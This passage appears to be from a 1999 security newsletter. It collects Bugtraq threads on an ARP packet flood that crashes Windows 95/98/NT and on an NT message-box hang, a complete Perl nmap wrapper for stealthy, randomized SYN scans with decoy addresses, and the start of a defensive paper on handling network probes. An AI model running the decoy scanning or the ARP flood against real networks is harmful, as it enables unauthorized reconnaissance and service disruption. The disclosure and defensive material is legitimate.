Jacobson To: BUGTRAQ@netspace.org Subject: Re: ARP problem in Windows9X/NT Parts/Attachments: 1 Shown 20 lines Text (charset: ISO-8859-1) 2 OK 202 bytes Application ---------------------------------------- [ The following text is in the "ISO-8859-1" character set. ] [ Your display is set for the "US-ASCII" character set. ] [ Some characters may be displayed incorrectly. ] Hello Gandalf, måndag, 12 april 1999, you wrote: gpc> Perhaps I am doing it wrong, but sending out arp requests like this only gpc> generates a single messagebox. If you send one or a million requests in gpc> the time it takes to click ok, no new messageboxes will appear. gpc> This is on NT4 sp4. Okey. Well, I tested this on a friend that run NT, don't know if he has sp4 installed or not. But still, the problems exist in Windows98, and if Microsoft has developed a fix for NT, why can't they release one for Windows98 too? gpc> The packet I am sending out seems a tad different from the one listed, gpc> the hex dump above seems to be missing the hardware address type. I've attached an example. This packet will attack the computer 192.168.0.1 on your network. Best regards, Joel mailto:joel@mobila.cx [ Part 2, Application/OCTET-STREAM (Name: "example.cap") 270bytes. ] [ Not Shown. Use the "V" command to view or save this part. ] ---------------------------------------------------------------------------------- Date: Tue, 13 Apr 1999 13:21:46 -0700 From: route@RESENTMENT.INFONEXUS.COM To: BUGTRAQ@netspace.org Subject: Re: ARP problem in Windows9X/NT [gandalf@pobox.com wrote] | | Unfortunetly i don't have a 98 to test on, or an non sp4 NT machines. For I do. It works against Windows 98. | BTW, this is all from linux 2.2.5. I've tried it from OpenBSD 2.4, FreeBSD 3.1 and Linux 2.2.x. -- I live a world of paradox... My willingness to destroy is your chance for improvement, my hate is your faith -- my failure is your victory, a victory that won't last. ---------------------------------------------------------------------------------- Date: Tue, 13 Apr 1999 15:49:22 -0400 From: Alan DeKok To: BUGTRAQ@netspace.org Subject: Re: ARP problem in Windows9X/NT route@RESENTMENT.INFONEXUS.COM wrote: > Didn't test your code. Rolled my from the same libnet example, and it > does work against NT and 95/98. I tested yours against a number of machines at work. Summary: NT4 sp3 displays one requestor. While it's on-screen, any additional ARP packets are ignored. Clicking 'OK', and then sending more packets results in another requestor. 95/98 displays one requestor per packet. Alan DeKok. ---------------------------------------------------------------------------------- Date: Tue, 13 Apr 1999 11:07:53 -0400 From: gandalf@POBOX.COM To: BUGTRAQ@netspace.org Subject: Re: ARP problem in Windows9X/NT On Tue, 13 Apr 1999 route@RESENTMENT.INFONEXUS.COM wrote: > [kay wrote] > | I started writing that proggie with plain syscalls, but it would only run > | on Linux, so I modified one of the examples in Route's Libnet 0.9 to do > | the stuff. I haven't tested it yes since I don't have LAN at home... > > Didn't test your code. Rolled my from the same libnet example, and it > does work against NT and 95/98. Your code, humerously enough, was almost exactly the same as mine, I was even using libnet. However neither your code nor mine causes more than one messagebox to appear on my NT4 sp4 machine. I actually tried this a month or two ago, and gave up since it seemed to have no effect on NT, I swear at the time I tested 95 and 98 too. Looking at it again, both your code and mine _do_ have the multi-messagebox effect on a 95B machine, Unfortunetly i don't have a 98 to test on, or an non sp4 NT machines. For those who have gotten it to work on NT, what sp level was NT at? BTW, this is all from linux 2.2.5. -chris _______________________________________________________ Christopher Rogers Stevens Institute of Technology gandalf@pobox.com http://www.pobox.com/~gandalf If at first you do succeed, try to hide your astonishment. @HWA 30.0 NT Message box DoS ~~~~~~~~~~~~~~~~~~ Date: Sun, 11 Apr 1999 22:50:25 +0200 Reply-To: chefren Sender: Windows NT BugTraq Mailing List From: chefren Subject: Death by MessageBox In-Reply-To: <3710D929.D6E46401@dds.nl> .. > -------- Original Message -------- > "NT hangs when several threads are calling MessageBox" > > Date: Fri, 9 Apr 1999 13:23:45 -0400 > From: "Sumner, Jeff" > Organization: OARnet > Newsgroups: microsoft.public.win32.programmer.kernel > > Hello, > > We have a server app that has several clients attached to it. When > certain conditions happen on a client, the server app spawns a new > thread that simply calls MessageBox. The thread is created so the main > server thread can still be processing when the message box is displayed. > We have found that when 16 of these threads are created, NT pretty much > hangs until a few of the message boxes are closed. > > I have written a test program to recreate this, and have noticed the > exact same behavior. The test program is a console app that takes an > integer parameter for the number of message boxes to pop up. I ran this > test app while I have the NT performance monitor up. Any number up to > 15 works fine, but as soon as I specify 16 or higher, the task manager > stops dead cold until a couple of the message boxes (and subsequent > threads) are closed. The code for the test program is less than 3K, so > I've included it here. > > <> > I have figured something out since I posted the message. The > MB_SERVICE_NOTIFICATION flag given to MessageBox is causing the problem. > This flag allows an NT service to display a message box, regardless of > who is logged in. The box will still display even if nobody is logged > in. However, NT does not like the 16th box at all. > > If I take this flag out, then each message box is created with its own > window, and each one appears in the task bar, but only if the "Allow > Service to Interact with Desktop" option is enabled for the service > under Control Panel | Services. In this case, NT performs fine when > more than 15 message boxes are specified, but no message boxes will be > displayed if nobody is logged in. > > So, to make the long story short, I am thinking that there is a bug in > NT that causes windows messages to not be processed correctly when > MB_SERVICE_NOTIFICATION is used and the 16th window is popped up. > > Another thing we have tried is scrapping the multithreading and > MessageBox altogether and just making a system call to execute "net send > ", which causes the message to pop up in a window > on the specified machine (as long as the NT Messenger service is > running). The drawback to this is that it appears that the messenger > service only accepts 6 messages at a time. All others get dropped on > the floor until one or more of the first 6 are closed. > > Does anybody have any insights? They would be greatly appreciated. > > Thanks for your time. > > Jeff Sumner > BASSpoiNT Development > BASS, Inc. > sumner@bassinc.com We "tested" it and it "works"... +++chefren -------------------------------------------------------------------------------- Date: Mon, 12 Apr 1999 13:08:55 +0200 Reply-To: chefren Sender: Windows NT BugTraq Mailing List From: chefren Subject: Re: Death by MessageBox Comments: cc: oded horovitz In-Reply-To: <000a01be84b8$40691530$26d873c0@oded.mucom.co.il> On 12 Apr 99, at 10:44, oded horovitz wrote: > Hi, I think i know the solution to your problem :) > > cuze you didn't gave the source for your problem i can > only guess your problem. > > check this key : > HKLM\SYSTEM\CurrentControlSet\Control\Session > Manager\SubSystems\Windows > the default data for this key : > %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows > SharedSection=1024,3072,1024 Windows=On > SubSystemType=Windows ServerDll=basesrv,1 > ServerDll=winsrv:UserServerDllInitialization,3 > ServerDll=winsrv:ConServerDllInitialization,2 > ProfileControl=Off MaxRequestThreads=16 > > so i guess that if u change this value it may solve your > problem. if it do works, notify me please and you can > post it to bugtraq. hope it helps > Oded h. We checked this obscure and largely invisible[0] part of the registry... Indeed, if you set MaxRequestThreads=5 the system halts at 5 messageboxes. It's an ajustable bug... We didn't distribute the source or the .exe intentionally... +++chefren [0] I have a dual 1280x1024 desktop and just found a minor bug in regedit.exe. Even with such a wide desktop I cannot oversee the data of the above key, only about 216 (strange number, I counted just once...) characters appear while I have enough space on my desktop. Double clicking on the separation mark in the header of the registry editor automatically adjusts the column size as expected but not to the right size but this strange 216 size. Manually widening doesn't show any more. @HWA 31.0 nmap wrapper for stealthier scans + enhanced logging capabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Mon, 12 Apr 1999 12:43:55 -0500 From: HD Moore To: nmap-hackers@insecure.org Subject: nwrap -- nmap stealth wrapper Parts/Attachments: 1 Shown 34 lines Text 2 Shown 171 lines Text ---------------------------------------- I started working on some scripts to 'wrap' nmap and allow for stealthier scanning routines. The goals for this script include: Creating a host/port table and then randomizing it. Scanning each host/port combination in a random sequence. Easy creation of decoy addresses. Parallel scanning with child process management. Consolidation of log files into a nlog-style db or MySQL. There are still a number of issues I am working on, if you have any suggestions/complaints email me: Delay between scans should be a random number within a user-defined range. Decoy addresses should remain the same during each scan to eliminate chance of detection by coordinating traffic logs from each scanned host and finding the real address in each. Log file consolidation (maybe use -m - and read it all from an open pipe?) Better option set for the nwrap script. Attached is the protoype perl script, I wanted to get some feedback about what stealth options/techniques people wanted to see implemented in a nmap wrapper script. -HD aka spinux http://nlog.ings.com http://www.trinux.org [ Part 2: "Attached Text" ] #!/usr/bin/perl use Getopt::Long; sub exitclean { my ($msg) = @_; print "$msg\n"; exit 2; } $SIG{INT}=\&sig_catch; &GetOptions("debug", \$OPTdebug, "p:s", \$OPTports, "i:s", \$OPTinput); open (INPUT,"<".$OPTinput) || exitclean("Could not open host input file: $!"); @targets = (); close(INPUT) || debugprint("close() failed on INPUT: $!"); # create a host/port list and shuffle it @targets = shuffle(\@targets); @ports = parse_ports($OPTports); @ports = shuffle(\@ports); foreach $host (@targets) { chomp($host); @ports = shuffle(\@ports); foreach $port (@ports) { push @output, "$host $port"; } } @output = shuffle(\@output); # now do something with that host/port list foreach $out (@output) { ($nmaptarget,$nmapport) = split(/\s+/,$out); $logfile = "$nmaptarget.$nmapport.log"; print "Scanning port $nmapport on $nmaptarget...\n"; system ("nmap -sS -m $logfile -P0 $nmaptarget -p$nmapport -D" . rdecoys(getpppip())) || print "Could not launch nmap: $!\n"; } exit(0); # # Functions # sub getpppip { my $DATA=`ifconfig | grep P-t-P | awk \'\{ print \$2 \}\'`; my $crap; my $ip; chomp($DATA); ($crap,$ip) = split(/\:/,$DATA); return $ip; } sub rdecoys { my ($ip) = @_; my @octets = split(/\./,$ip); my $count; my @decoys = (); my $decoy; my $output; for ($count = 0; $count < 6 ; $count++) { $decoys[$count] = int(rand()*255); } foreach $decoy (@decoys) { $output .= "$octets[0].$octets[1].$octets[2].$decoy,"; } $output .="ME"; return $output; } sub debugprint { ($msg) = @_; print "[debug] $msg\n" unless (!$OPTdebug); } sub sig_catch { my $signame = shift; print "\nRecieved SIG$signame, exiting...\n"; exit 2; } ############################################################################### # # Function: shuffle # Purpose: Randomize an array # To-Do: Done # Date: 04/09/99 # # Comments: This routine was pretty much ripped from 'Perl Cookbook' pg 121-122 # ############################################################################### sub shuffle { my $array = shift; my $i = scalar(@$array); my $j; foreach $item (@$array ) { --$i; $j = int rand ($i+1); next if $i == $j; @$array [$i,$j] = @$array[$j,$i]; } return @$array; } ############################################################################### # # Function: parse_ports # Purpose: Take in an nmap style port list and return an array # To-Do: Add a check to make sure all the ports added are numeric # Date: 04/09/99 # ############################################################################### sub parse_ports { my ($portstring) = @_; my $splitter = ","; my @portlist = (); my @portsplit = (); my $port; @portsplit = split($splitter,$portstring); foreach $port (@portsplit) { @range = split(/\-/,$port); if (scalar(@range) > 1) { if ($range[0] > $range[1] || $range[0] < 0 || $range[0] > 65535 || $range[1] < 0 || $range[1] > 65535) { print "Your range of $range[0] -> $range[1] is invalid!\n"; exit(1); } for ($i = $range[0]; $i < $range[1] + 1; $i++) { if ($i > 0 && $i < 65536) { push @portlist, $i; } } } else { push @portlist, $port; } } return @portlist; } @HWA 32.0 How to handle and identify network probes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.Genocide2600.com/~tattooman/infosec-faq/probes.txt Html Version (71k/89k) How to Handle and Identify Network Probes "What to do when your DNS server gets FIN-SYN scanned from Russia at 4:00 in the morning." By Ron Gula April 1999 rgula@network-defense.com http://www.network-defense.com Copyright 1999 Network Defense Consulting Abstract Do you know what to do when suspicious network probes are detected on your network? It's surprising, but many people do not follow common sense and simple logic when analyzing malicious network activity. Even worse, when contacting other organizations to complain, security incidents can be misrepresented because all of the facts are not in order, incorrect or even erroneous theories. This paper details a variety of steps that you can take to get the most effectiveness and accuracy from your intrusion detection system. It also concentrates on determining the who, what, why, where, when and how of any network security event so that you can accurately relay this information to others. Introduction This paper is loosely organized into a list of rules that can be applied to your network operation in the event of an external network scan. Each rule has several examples of what can go wrong and what can go right for a given situation. The rules are also in the order they should be applied in a network security situation. The last section discusses how to handle internal security events at a high level. Please use this paper as a guide. Think about it and what it means for your particular network. It may make the difference between deterring a network attack and having to respond to a network compromise. Rule #1: Don't Panic It's 2:00 AM. You are in a deep sleep when suddenly the phone comes to life. Speaking to you is a late shift network operator who is frantically describing a list of ISS RealSecure events. The operator also describes that the firewalls are also going crazy and two NT machines just mysteriously rebooted. The VP of Operations has been notified and she is on her way in. What do you do? Even though network security events are reported in the media and they are a very serious threat, they are not likely to occur to you on a daily basis. (If they are occurring to you on a daily basis you must be pretty good at dealing with them by now and probably don't need this paper.) Most network organizations that suffer multiple attacks and probes experience them in groups. They are not sporadic events. With this in mind we can roughly classify network probes into two categories. First, the security event could actually be the result of a non-security event. This is known as a 'false positive'. In this case there is nothing to worry about. Second, the security event could be a probe that tested your site for something. Tests could include determining the type of operating system of a server or even sweeping the network for open ports. If the probe turns up negative, there is a good chance that 'they' won't be coming back. With this situation, there is also little to worry about. At your leisure, you can pursue those responsible for the probe. If the probe seems to have found something that is vulnerable, then you may have returning visitors. Regardless of the outcome of the probe, it requires careful analysis and some judgement calls to determine its nature. That's what the rest of this paper is about. When presented with a security event, all you really know is that further investigation is required. Knowing that these things don't happen that often shouldn't cause you to put the analysis of the event off to long though. Timely analysis of any security event is the key to quickly finding the real ones from the false positives. Panic or at least an adrenaline rush is experienced by many network administrators when security incidents occur. Here are some rules of thumb to keep in mind when handling the situation. Initially, only tell people about the security event on a need to know basis Telling one person who tells another can cause any office or operations center to quickly fill with people who are not the right ones to deal with the problem. They may also get in the way. Discretion is highly recommended. Watch out for overworked people When any network event occurs, there is a tendency for normal people to rise to the challenge and work long hours to see the event through. Security events are no different. If an event occurs at the end of a normal duty day or a shift, people working extra hours may suffer from fatigue, irritability and hunger. All of these can impair the judgement of any human. It may also endanger them for their ride home. Latter on we discuss the importance of documentation. Documentation and tracking of a security event can make change over between employees much easier. Don't let people jump to conclusions During high pressure situations, some people may feel the need to blame others in an attempt to find answers. It's important to downplay any of these comments until all of the facts are considered. Get second opinions on 'rash' decisions When conducting a security investigation, it is very important to get input from peers and even management about your current theories and plans. For example, it may seem like a good idea to take the corporate web server offline for analysis, but a second opinion might ask you to stand up a replacement. If probes are occurring in real time, it is also temping to take certain courses of action such as 'hack backs', setting up of honey-pots or even trying to slow the scanning down. All of these actions may have unintended repercussions on your company or network. Focus on any obvious explanations It may not seem obvious, but suspicious activity can be explained away most of the time with normal network events. Consider recent network changes or scheduled network testing when analyzing a security event. Like it or not, as the network security guru you are also in a position of leadership during security events. If you are not sure of yourself, panicked or exhibiting a high level of stress, these traits can easily spread to other people. In ideal situations, the network security staff (if there are more than one of you) is regularly involved in network operations. Knowing your coworkers and making sure that they know you will reduce stress and panic during security events. "Don't worry", you say to the late shift operator, "I will dial in and check the logs. Tell Beth I'll give her an initial status report in about fifteen minutes. If it looks bad, I'll be coming in." Rule #2: Document Activity It's Monday morning and you receive a call from the Vice President of Information Security. He wants to know how many network probes we have received over the last three months and if any of them came from our competitors. What would you tell him? When any network security event occurs, you should document it. It doesn't matter how you record the information as long as it is secure, accurate and can be stored for some time. I like to keep a log book, but log books can be lost. Some network shops record suspicious logs directly to CD-ROM. More and more network shops are using ticketing systems to track security events. These have the advantage of existing in a database which can easily be searched for event correlation. You need a solution which is right for you. Why document? There are several reasons: People forget, even security gurus Having a physical record of security events from days gone past is an immense help when analyzing security events of today and tomorrow. Being able to answer questions like, "Has this IP address ever scanned us before?", or "How many other IMAP probes have we had this year?" can only be answered by reviewing historical logs. Security systems may not keep logs forever Some security programs do not keep logs forever. They delete old logs to make room for new ones. If you have a system such as this, then those security events from last month might not be in your security system any more. Keeping logs separate from the production systems ensures a greater level of data protection also. What happens if you have a hard drive crash? Many security systems do not use back-ups for data integrity. It might be evidence in court If you keep good logs (and good is subject to lawyer's interpretation) then those logs may be used as evidence in a court case. It is very important to keep a 'chain of evidence' with any log system. This means you need to have proper access control on the log information. If the security or integrity of the log can be questioned, then the log may not be admissible in court. Paper print outs and CD-ROMs tend to be more believable than electronic media. Even logging of DNS names instead of IP addresses may be an issue, since DNS name resolution can be corrupted. It helps you sell security If you are like most companies, network security is viewed as an important but expensive thing. Firewalls, intrusion detection systems and conferences to Black-Hat are all expensive. Keeping logs can help show management that there is indeed a threat and they are getting their money's worth from you and the fancy security equipment. Final thoughts: During the heat of the moment is when it is most important to write down or record any information about a security event. Don't forget to record the people involved, their phone numbers and what they have said. Recording all of the information allows for more efficient processing of the data once it is assembled together. Later on, when things are less hectic, it is good practice to write up the security event in a one or two page paper. Sharing this paper with any lessons learned can have a very positive effect on your entire network staff. Keeping records of these reports can also help you and possibly your successor. "I can have a report for you this afternoon," you tell the VP of Information Security. After hanging up, you leave your Quake 2 session and start to work on the report. You utilize the last three monthly security incident reports and look at some of the more interesting recorded logs from those events. You conclude that your network was probed four times, all from Asian IP domains, but never from your competitor's address space. You deliver the report to the VP and emphasize where the information came from and how the security staff is responsible for maintaining it. Rule #3: Identify Activity While looking at the intrusion detection logs, you observe a variety of TCP packets going only to your DNS servers. The TCP FIN and SYN flags are set in each packet. The destination ports for the packets are ports 0, 21, 143 and 2049. None of those ports are active. What is going on? Depending on the situation and the available information, it can be very difficult to get a clear picture of all aspects to a security event or network probe. Distinct events may not seem related until another piece of the puzzle is added for clarity. Attempting to answer the basic questions of who, what, why, when and where is a good place to start and can provide you with a framework to paint a picture of what has transpired. WHO? If this is a network security event, then you are probably obtaining network data from an intrusion detection system, a firewall or some other network element. In most cases you know the source and destination IP addresses involved. This is the 'who' and there are a wide variety of tools that can be used to glean information about the owners of the addresses. nslookup This tool is available on NT and UNIX. The command can convert IP addresses to DNS names and vice versa. It is usually a good place to start to get some quick information about a suspicious IP address. Some care should be taken though. DNS information can be spoofed. One of the neatest hacks is to modify DNS answers to throw network security investigators off of your trail. DNS queries may also be observed by the network attacker. This may alert them that their scanning has been discovered. Many ISPs have taken to naming their dial-up PPP or SLIP addresses with the word 'dial', 'ppp', 'modem' or 'slip'. If you see these, there is a good chance that the source of the scan is a modem user. Similar assumptions can be made for 'home.com' names in which those IP addresses are assigned to cable modems. Consider obtaining a shell account well away from your corporate network to conduct DNS lookups. This may not alert the scanner that you have detected their activity. whois Once you have a DNS name, you can query the 'whois' database to find out contact information for that domain. When domains are registered, they usually require some sort of contact information to include a phone number, an email address and a name. Don't underestimate that the name in the whois database could be the fellow doing the scanning. It's unlikely, but it has been known to happen. There are a variety of web interfaces to the whois database and UNIX clients have a built in whois command. Here is example whois output for network-defense.com : [root@gigan /root]# whois network-defense.com [rs.internic.net] Registrant: Company Name (NETWORK-DEFENSE-DOM) 9305 Sun Down Pl Nowhere, MD 21047 US Domain Name: NETWORK-DEFENSE.COM Administrative Contact, Technical Contact, Zone Contact: Gula, Ron (RG15449) rjgula@HOME.COM 410-212-9898 Billing Contact: Gula, Ron (RG15449) rjgula@HOME.COM 410-212-9898 Record last updated on 24-Nov-98. Record created on 24-Nov-98. Database last updated on 7-Apr-99 12:28:52 EDT. Domain servers in listed order: NS.AUTONO.NET 209.48.2.11 NS10.AUTONO.NET 206.86.247.30 It can be seen here that there is a lot of information that can be used for documentation and contact purposes. There is a home address in case you want to launch Tomahawk missiles, a telephone number for voice contact, an email address and which DNS servers 'take care of' the queried domain. arin The ARIN database is publicly available at http://www.arin.net/whois/arinwhois.html and allows us to find out the owners of a particular IP address. When DNS has not offered us an answer to what we are looking for, doing a reverse IP lookup can still tell us something. Here is an example ARIN search output for 24.3.17.92 which is a home.com IP address: @Home Network (NETBLK-ATHOME) ATHOME 24.0.0.0 - 24.7.255.255 @Home Network (NETBLK-MD-COMCAST-HWRD-1) MD-COMCAST-HWRD-1 24.3.16.0 - 24.3.23.255 This query provides us with some interesting information. First, we know that the IP address is part of the home.com (@Home) ISP. A lot of hackers get cable modems. A lot of hackers hack people with cable modems. The second pieces of information tells us that @Home is using the Comcast Cable company for local access. One could even venture a bet that the 'MD' referred to Maryland and the 'HWRD' referred to Howard county. It's dangerous to assume things like this, but in some cases it makes sense. For instance, not every net block that has a 'TX' in it is from Texas. Use good judgement. The Web If you know the IP address of a network probe source, you may want to try to look for web servers on that network. An easy way to do this is through guess work. Lets say a target's DNS name resolves to name1.place.com for an example. Attempting to go to the web server at www.place.com may provide you with the network's public web server. In some cases, using a tool such as nmap to scan a class C network for any web server can be fruitful. This should only be done as a last resort. In ISP networks, scanning a class C network may not bring you any closer to information about the scanner as you connect with one unrelated user's web page after another. The goal here of course is to discover some sort of contact for you to voice your distress over the network scanning. It is also very important to understand exactly 'who' locally is involved in the scanning. Recording IP addresses is not enough. What is the second level relationship between them. Is this a sequential scan? Are these systems mail systems? Do they run IRC daemons? Are they all DNS servers? You get the picture. Figuring this out may allow you to understand what drew the network scanners to your network in the first place. WHAT? Determining what a network scanner is probing for can be a very difficult activity. I offer some general guidelines to analyze suspicious activity, but no one can be certain exactly what the intention of a particular scan is without asking the person doing the scanning. More importantly, we discuss a variety of scanning techniques and the type of information that the scan returns. Using this to analyze activity on your network can be interesting. We do not consider techniques for direct vulnerability probing because this is a very cumbersome topic and a lot has been written about it already. Topology Mapping Much suspicious network activity concerns discovery of target network and systems by malicious individuals. Sophisticated attempts exist that can map out a network. Attackers equipped with knowledge of a network's hierarchy can plan effective attacks. Here are some common and not so common topology scanning techniques that you may observer on your networks. ICMP Sweeps ICMP packets may be used to determine if a target IP address is alive or not. Typically, a scanning program may send an ICMP ECHO REQUEST packet and anticipate an ICMP ECHO RESPONSE. When multiple hosts are queried this way it is better know as a 'ping sweep'. If the host isn't there, there is no response. Firewalls and routers can be used to block this sort of traffic. This scanning can be directed at one host, or many. It can also be spread out over time such that a target network may not become alarmed that it is being scanned. More advanced ICMP scanning techniques make use of non-ECHO ICMP protocols. There are a wide variety of ICMP protocols besides ECHO. These include support to request timestamp and netmask information. Many firewall and packet filter designers forget to block all ICMP traffic and only filter ECHO traffic. In this case, making non-ECHO requests is still a valid form of host identification. The ICMP protocol can also be used with broadcast addresses. Typically associated with ICMP denial of service attacks, ICMP broadcast packets may be able to map out large portions of a network with one packet. TCP/UDP Sweeps Most people associate TCP and UDP scanning with determining which ports are available on a particular network server. The reality is that responses from any port may indicate that an IP address is active. Sending a UDP or TCP packet to a high port and receiving a response is a good indication that something is there. Exactly what comes back depends on the target operating system, the packet sent and any firewalls or packet filters. TCP packets have flags that indicate which part of a TCP conversation they are in. Typically, TCP sessions start with a SYN packet from a client to a server. This is followed by a SYN-ACK packet from the server to the client if the target service (or port) is active. If it isn't, then the server responds with a RESET packet. Both the SYN-ACK and the RESET packets can be used to identify active IP addresses by network scanners. It should be noted that some firewalls can spoof a RESET packet from an IP address, so that technique may not be that reliable. UDP scanning is tougher to do than TCP for a variety of reasons. First, UDP packets can be dropped by routers as they cross the Internet. This is true! Try it for yourself! (Use a program to send UDP packets across the net and see how many actually get there). Second, many UDP services don't respond when correctly probed. It's the response of an ICMP PORT UNREACHABLE message that identifies a UDP port that is not active. Considering that UDP packets may be dropped and firewalls may also be configured to drop them, UDP scanning may seem very unreliable. UDP scanning does have an advantage of being able to make use of IP broadcast addresses. A network that allows UDP packets could be mapped by sending a packet to the broadcast address on a high port. If the port were not filtered, then the scanning node would receive ICMP PORT UNREACHABLE messages from many target networks systems. SNMP Scanning The Simple Network Management Protocol (SNMP) is used and supported by a wide variety of network elements and network management software. Modern hubs, switches and routers all support SNMP. Many servers such as Solaris and Windows NT also have SNMP functionality. SNMP has several versions, the most common of which is version 1. Security in version 1 is handled by a clear text community string that functions as a password. Any SNMP packet must have the proper community string. Without it, the packet is rejected. The problem with SNMP is that all network vendors ship their products with default community strings of 'public'. Any scanner that has access to SNMP enabled network nodes simply uses the 'public' community string and starts to send queries. Data obtained over SNMP can completely diagram a network and include other information such as CPU type, firewall rule configurations and even web server performance. Tools exist that help attackers brute force community strings. Obtaining Router Configurations Another way to map a network is to get a copy of some router configuration files. With enough different router configurations, a network scanner can map your network without sending any packet probes. I've even been on some penetration tests where a network organization has published there router configurations publicly on a web server! This information should be protected. Many routers and network elements such as hubs and switches also have vendor passwords that are used for diagnostics and maintenance. These passwords are well known to network crackers and can easily be used to obtain configurations, which in turn can be used to map a network. Some routing protocols allow for polling of route information. RIP is a classic example of this. With RIP, any client can query another network device to obtain the routing table. Time To Live Almost every one has used the 'traceroute' program. This program discovers the number of hops between IP addresses. It does this though the use of the IP time-to-live value. Every time a packet is routed, this value decrements by one. When the value is zero, the packet is discarded and an ICMP error message is returned to the sending IP address. The TTL prevents packets that are misrouted from floating around on the Internet forever. By purposely sending out packets with low TTL values and watching for the ICMP error messages, automated programs can be used to discover how many hops (routers) there are between them and a particular IP address. When attempting to map the topology of a remote network, combinations of traceroute attempts can provide a good picture of how the network is put together. Attackers can use this information to find sub-networks that may be weekly defended and possibly exploit trust relationships. Scanning with non-standard IP Protocols Another technique to map out a network and identify live hosts is to send IP packets to target networks that are non-standard protocols. Lets assume that the 'standard' IP protocols are ICMP(1), TCP(6) and UDP(17). Most firewalls and packet filters designers tend to focus on these protocols when designing firewall rules. They may inadvertently allow traffic from other protocols. If so, then a network scanner may be able to illicit a response from a target IP address by sending in this sort of traffic. The response will most likely be an ICMP PROTOCOL UNREACHABLE message. Some of these protocols may also be sent to the broadcast address. Multicast Packets The last example of scanning to discover a target network's topology is by exploiting multicast packets. Multicast IP addresses have been set aside by the Internet community and are handled different by routers and servers. With multicast packets, one IP address can theoretically send the same packet to many other IP addresses. If a network scanner is 'upstream' from you, they may be able to send multicast packets into your network for mapping purposes. Being 'upstream' is required so the scanner can correctly spoof multicast packets only to your network. Some packet filters and servers ship with multicast functionality enabled. This can be exploited by remote network scanners to discover live hosts. Remote Operating System Identification Another piece of information that network probes attempt to discern is the type of operating system of a given IP address. There are a variety of methods that exist to do this and we discuss them here. These scan techniques are very popular in the hacker community. Banner Grabbing If a system is not secured behind a firewall or through disabling of network resources, then most services can be used to identify an operating system. The TELNET banner is a classic example of this. Almost all TELNET banners have a very distinct look about them and actually say what the operating system is. Other services such as mail transfer agents can identify the operating system too. DNS names If you observe many DNS queries, a remote network scanner may gain knowledge of your operating systems if you've named them descriptively. Many DNS schemes include the operating system. Examples such as 'node123-w95.example.com' and 'nt4-102.example.com' could name Windows 95 and Windows NT systems. TCP Trickery A technique that uses distinct variations in TCP stack implementations to determine the type of remote operating system is known as TCP fingerprinting. The basic concept of this probe is to send specific TCP packets to an IP address and observer the responses. The TCP traffic sent is a rather odd combination of destination ports and flag combinations. TCP responses are also considered and these include sequence number randomness and initial window sizes. There are probably other techniques. Several tools exist such as Queso and Nmap that have a large database of responses to these odd TCP probes and can reliably identify servers and network elements. Some of the more common techniques you may see are TCP probes that have the FIN and SYN bits set. This combination never occurs naturally. Other flag combinations used are null (no flags) and SYN-RESET. Both of these scan types can occur naturally in a variety of network traffic such as normal web browsing. One of the more advanced scanning techniques I've come across is the use of a bogus 'error' packet. The packet is TCP with a normal IP header. All of the TCP data is identical except for the TCP flags. For example, the TCP packet could entirely consist of bytes with the value of '0x4e'. This would correspond to a source and destination port of 20046. But for the TCP flags, the correct bit values for a FIN-SYN or a SYN-RESET would be used. If the packet is recorded, it may look like an error packet and be ignored by a network analyst. But it could be performing remote operating system identification. Standard services When trying to identify a particular remote operating system, another technique used is to probe for specific combinations of ports. These port combinations can reliably identify the target platform. Testing for DNS or SMTP services are not distinct enough for scanners to test for because they are very common. However testing for servers that have IMAP(143) and NFSD(2049) active may indicate the Linux operating system. Solaris servers have a variety of RPC services that are enabled by default. The same goes for HP-UX and SGI. Network scanners who know these combinations can identify target systems this way. Peculiar Behavior Some network nodes may exhibit very odd or strange protocol behaviors. This can best be illustrated with an example. Cisco routers communicate with each other on port 1999. During the three way TCP handshake, the Cisco router will identify itself by placing the word 'cisco' in the data portion of the SYN-ACK packet. This is a very trivial way to identify Cisco routers. Knowledge of this type of behavior can help discreetly identify remote systems. Port Scanning Techniques Many network probes are attempts to discover active services on a network or on a particular server. Typically, these scans are automated and connect with ranges of ports on a particular IP address. They then report the ports that were open or active. Network attackers can then select exploits based on the active ports found. Here are some different port scanning techniques that you may encounter when analyzing network probes. Slow Scanning Since typical port scans can show up in system logs (Sendmail, TCP wrappers, Klaxon, etc. ) , network scanners can simply spread out the scan over a long period of time. Determining if a single packet is part of a larger port scan is very difficult if the other packets aren't there. Depending on the level of network activity, it may be possible to avoid detection simply by delaying scan packets for one minute. Random Scanning Again, another way to avoid port scan detection is to randomize the order in which the ports are tested for. Many commercial IDS products and firewalls watch for sequential connection attempts. They may have a threshold of common sequential destination ports and when this threshold is crossed, a port scan is reported. Randomizing the port testing avoids exceeding the sequential destination port threshold. SYN Scans A SYN scan is yet another attempt to bypass system level port scan detection. On most systems, a network connection is only recorded if the TCP three way handshake is completed. SYN scans send a single SYN packet to the destination port and then wait to see the response. If it is a RESET packet then the port is dead and no further action is taken. If the response is a SYN-ACK packet, then a RESET packet is sent back to the target that disengages the three way handshake. Sometimes this RESET packet is generated by the SYN scan program and other times it is generated directly by a response from the scanning operating system's IP stack. Spoofed SYN scan A trivial modification to the SYN scanning technique is to completely spoof the SYN packet from another IP address on the scanner's network. The spoofed IP address has to be one in which the return traffic from the server will flow past the scanner. It sniffs the network traffic to discover which ports are active. If a scanner is 'upstream' from a spoofed IP address (for instance in a DMZ in front of 10,000 computers) then it can be very hard to trace. The spoofed IP address can be from a machine that is alive or dead. This technique can also be used to generate many other simultaneous scans from other IP addresses. A defending network would perceive that it is being scanned by several different networks. The extra data can be missed by IDS nodes and can also be very hard to analyze. Determining the real IP address responsible for the scan is possible in some cases, but usually not. One way to tell if you are the victim of spoofed scans is to check for similar time to live values in each of the scanned packets. If all of the incoming packets have the exact same time to live (TTL) value, then this is suspicious. Conducting a traceroute to each of the IP addresses may allow you to eliminate some of the spoofed sources. Some network scanners such as Nmap randomize their initial TTL settings with a value between 51 and 65. Fragmented Scan In an attempt to hide their probes, network scanners may also fragment their packets. All IP packets that carry data can be fragmented. For TCP packets, fragmentation can occur that places the destination port in one packet and the flags in another. Network IDS nodes may incorrectly reassemble or completely miss portions of the scan. Fragmentation that places ports in one packet and flags in another is something that does not occur naturally on IP stacks. Proxy Scanning If a protocol or service can be exploited by a network scanner such that the service can make arbitrary network connections, then the protocol can be used for port scanning. Some proxy servers and most FTP 